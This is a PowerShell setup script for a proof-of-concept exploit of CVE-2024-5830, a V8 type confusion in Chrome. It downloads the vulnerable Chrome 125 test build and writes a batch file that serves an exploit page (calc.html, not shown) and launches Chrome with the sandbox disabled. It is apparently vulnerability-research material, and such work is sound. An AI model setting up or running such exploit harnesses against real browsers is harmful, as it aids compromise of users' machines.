setup-chrome.ps1

# setup-chrome.ps1 — Download Chrome 125.0.6422.78 for Testing (vulnerable to CVE-2024-5830)
# The shellcode in calc.html is Linux x86_64 (execve xcalc) so it won't execute on Windows,
# but the V8 type confusion + addrof/arbitrary R/W primitives will still work.

$ErrorActionPreference = "Stop"
$ProgressPreference = 'SilentlyContinue'  # Makes downloads 10-100x faster

$ChromeVersion = "125.0.6422.78"
$ChromeUrl = "https://storage.googleapis.com/chrome-for-testing-public/$ChromeVersion/win64/chrome-win64.zip"
$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
$ChromeDir = Join-Path $ScriptDir "chrome-win64"
$ZipFile = Join-Path $ScriptDir "chrome-win64.zip"

Write-Host "[*] CVE-2024-5830 - V8 Object Transition Type Confusion"
Write-Host "[*] Target: Chrome $ChromeVersion (win64)"
Write-Host ""
Write-Host "[!] NOTE: The shellcode in calc.html is Linux x86_64 (execve /usr/bin/xcalc)."
Write-Host "[!] On Windows, the type confusion triggers and addrof/read/write primitives work,"
Write-Host "[!] but the final shellcode execution will crash rather than launch a program."
Write-Host "[!] This is sufficient to confirm the vulnerability is exploitable."
Write-Host ""

# Download Chrome for Testing
if (Test-Path $ChromeDir) {
    Write-Host "[+] Chrome directory already exists: chrome-win64"
} else {
    Write-Host "[*] Downloading Chrome $ChromeVersion for win64..."
    Invoke-WebRequest -Uri $ChromeUrl -OutFile $ZipFile
    Write-Host "[*] Extracting..."
    Expand-Archive -Path $ZipFile -DestinationPath $ScriptDir -Force
    Remove-Item $ZipFile
    Write-Host "[+] Chrome extracted to chrome-win64\"
}

# Create run batch file
$BatLines = @(
    "@echo off",
    "setlocal",
    "set SCRIPT_DIR=%~dp0",
    "set PORT=8099",
    "",
    "echo [*] Starting HTTP server on port %PORT%...",
    "start /B python -m http.server %PORT%",
    "timeout /t 2 /nobreak >nul",
    "",
    "echo [*] Launching Chrome $ChromeVersion with sandbox disabled...",
    "echo [*] URL: http://localhost:%PORT%/calc.html",
    "echo.",
    "echo [!] The V8 type confusion will trigger. Shellcode is Linux x86_64 so it will crash",
    "echo [!] on Windows rather than executing a program. Check DevTools console for errors.",
    "echo.",
    "",
    '"%SCRIPT_DIR%chrome-win64\chrome.exe" --no-sandbox --disable-gpu --user-data-dir="%SCRIPT_DIR%chrome-profile" "http://localhost:%PORT%/calc.html"',
    "",
    "taskkill /F /IM python.exe 2>nul",
    "endlocal"
)
$BatPath = Join-Path $ScriptDir "run-exploit.bat"
$BatLines -join "`r`n" | Set-Content -Path $BatPath -Encoding ASCII

Write-Host ""
Write-Host "[+] Setup complete!"
Write-Host ""
Write-Host "    To run the exploit:"
Write-Host "      cd $ScriptDir"
Write-Host "      .\run-exploit.bat"
Write-Host ""
Write-Host "    Manual testing:"
Write-Host "      python -m http.server 8099"
Write-Host "      .\chrome-win64\chrome.exe --no-sandbox http://localhost:8099/calc.html"